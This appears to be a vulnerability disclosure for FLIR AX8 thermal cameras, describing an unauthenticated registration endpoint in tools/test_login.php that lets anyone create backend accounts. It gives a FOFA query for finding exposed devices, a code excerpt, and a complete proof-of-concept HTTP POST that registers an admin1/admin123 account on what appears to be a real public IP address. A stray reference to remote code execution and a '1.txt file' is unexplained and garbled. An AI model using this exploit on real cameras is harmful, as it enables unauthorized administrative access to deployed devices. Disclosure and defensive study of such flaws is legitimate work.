

FLIR-AX8 Fixed Thermal Cameras Register any user in the background--test_login.php

Vulnerability details

FLIR-AX8 Fixed Thermal Cameras Register any user in the background, Attackers can register any backend account and obtain website backend permissions through this vulnerability.

Vulnerability location

tools/test_login.php

Vulnerability recurrence

fofa app="FLIR-FLIR-AX8"

Through code audit, it was found that the registration interface of the PHP file did not have permission settings, and back-end accounts could be registered at will.

```
ownload.php 全局搜索 test_login.php
61 ..... if (version_compare(PHP_VERSION, '5.3.7', '<')) {
62 .....     echo "Sorry, Simple PHP Login does not run on a PHP version older than 5.3.7 !";
63 ..... } elseif (version_compare(PHP_VERSION, '5.5.0', '<')) {
64 .....     require_once("../application/libs/password_compatibility_library.php");
65 .....     return true;
66 ..... } elseif (version_compare(PHP_VERSION, '5.5.0', '>=')) {
67 .....     return true;
68 ..... }
69 ..... // default return
70 ..... return false;
71 ..... }
72 .....
73 ..... /**
74 .....  * This is basically the controller that handles the entire flow of the application.
75 .....  */
76 ..... public function runApplication()
77 ..... {
78 .....     // check is user wants to see register page (etc.)
79 .....     if (isset($_GET["action"]) && $_GET["action"] == "register") {
80 .....         $this->doRegistration();
81 .....         $this->showPageRegistration();
82 .....     } else {
83 .....         // start the session, a [p]ays needed!
84 .....         $this->doStartSession();
85 .....         // check for possible user interactions (login with session/post data or logout)
86 .....         $this->performUserLoginAction();
87 .....         // show "page", according to user's login status
88 .....         if ($this->getUserLoginStatus()) {
89 .....             $this->showPageLoggedIn();
90 .....         } else {
91 .....             $this->showPageLoginForm();
92 .....         }
93 .....     }
94 ..... }
95 .....
96 ..... /**
97 .....  * Creates a PDO database connection (in this case to a SQLite flat-file database)
98 .....  * @return bool Database creation success status, false by default
99 .....  */
100 ..... private function createDatabaseConnection()
101 ..... {
102 .....     try {
```

POC:

POST /tools/test_login.php?action=register HTTP/1.1

Host: 222.103.211.89:8002

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 121

Origin: http://222.103.211.89:8002

Sec-GPC: 1

Connection: close

Referer: http://222.103.211.89:8002/tools/test_login.php?action=register

Cookie: PHPSESSID=a1a0193bc2c2ae35bb3e815d3150dde8; clientTimeZoneOffset=-480; clientTimeZoneDST=0; theme=light; distanceUnit=metric; temperatureUnit=celsius; showCameraId=false

Upgrade-Insecure-Requests: 1

X-Forwarded-For: 0000:0000:0000::0000

X-Originating-IP: 0000:0000:0000::0000

X-Remote-IP: 0000:0000:0000::0000

X-Remote-Addr: 0000:0000:0000::0000

user_name=admin1&user_email=admin1%40admin.com&user_password_new=admin123&user_password_repeat=admin123®ister=Register

Case 1:

URL: http://222.103.211.89:8002/tools/test_login.php?action=register

Through the remote code execution vulnerability, you can see that the 1.txt file exists in the

username: admin1

password: admin123



View burp

